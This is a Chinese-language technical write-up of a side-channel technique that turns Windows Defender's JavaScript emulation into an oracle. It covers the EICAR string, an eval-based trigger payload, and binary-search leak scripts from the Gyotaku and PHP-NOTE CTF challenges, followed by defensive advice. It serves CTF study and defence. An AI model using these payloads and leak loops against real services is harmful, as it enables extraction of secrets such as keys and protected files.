Playing with Windows Defender
字数 1370 2025-08-25 22:58:20
Windows Defender侧信道攻击技术分析
1. Windows Defender行为概述
Windows Defender作为Windows系统的内置防护软件,具有以下关键行为特征:
- 内容检查:扫描文件内容中的恶意代码模式
- 权限修改:检测到恶意文件后,会修改文件权限阻止用户访问
- 内容清除:将恶意文件内容替换为null
- 文件删除:最终可能会删除恶意文件
其中第二步的行为特性(阻止用户访问检测到的恶意文件)被用于构建侧信道攻击。
2. EICAR测试文件
EICAR测试文件是标准的防病毒测试文件,内容如下:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
该文件专门设计用于测试防病毒软件是否正常工作,但不会造成实际危害。
3. Windows Defender的JavaScript分析
Windows Defender的核心组件mpengine.dll包含JScript引擎,能够:
- 分析HTML文档内容
- 解析其中的JavaScript代码
- 模拟执行DOM操作
触发条件分析
以下代码可以触发Windows Defender:
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>
关键点:
- 必须包含
document.body.innerHTML访问 - 必须将EICAR字符串传递给
eval() - 缺少DOM访问时不会触发检测
4. 侧信道攻击原理
利用Windows Defender的检测行为差异构建二进制判断:
- 构造条件语句,使EICAR字符串的完整性取决于目标数据
- 如果条件满足,生成完整EICAR字符串触发Defender
- 如果条件不满足,生成不完整EICAR字符串不触发Defender
- 通过文件是否被阻止来判断条件真假
示例攻击代码
<script>
var body = document.body.innerHTML;
var n = body[0];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+n;
eval(mal);
</script>
<body>*</body>
当body第一个字符为*时触发Defender,否则不触发。
5. 实际攻击案例
5.1 Gyotaku (WCTF 2019)
攻击场景:
- 目标服务有本地访问限制的/flag路径
- 提供创建网页快照(/gyotaku)功能
- 快照内容包含用户控制的URL和用户名参数
利用方法:
- 构造URL指向
http://127.0.0.1/flag并注入恶意脚本 - 使用username参数闭合HTML标签
- 通过二分法逐字符泄露flag内容
攻击脚本核心逻辑:
def leak(idx, sess):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
gid = trigger(m, idx, sess)
if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
l = m
else:
h = m
return chr(l)
5.2 PHP-NOTE (TWCTF 2019)
攻击场景:
- PHP应用使用IIS服务器
- 需要获取HMAC密钥进行反序列化攻击
- 密钥存储在会话文件中
利用方法:
- 通过注册功能向会话文件注入恶意脚本
- 利用Windows Defender阻止会话文件访问
- 通过登录是否成功判断密钥字符值
攻击脚本核心逻辑:
def leak(idx):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
res = trigger(m, idx)
if res:
l = m
else:
h = m
return chr(l)
6. 防御建议
- 输入验证:严格过滤用户提供的HTML/JavaScript内容
- 权限控制:确保敏感文件有适当访问限制
- 日志监控:记录异常的文件访问行为
- 环境隔离:关键服务与用户可控内容分离部署
- 更新机制:保持防病毒软件为最新版本
7. 参考资源
- Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator
- WCTF2019: Gyotaku Writeup
- EICAR测试文件标准
这种攻击方式展示了如何利用安全软件的行为特性构建侧信道,强调了在设计系统时需要全面考虑各种可能的攻击向量。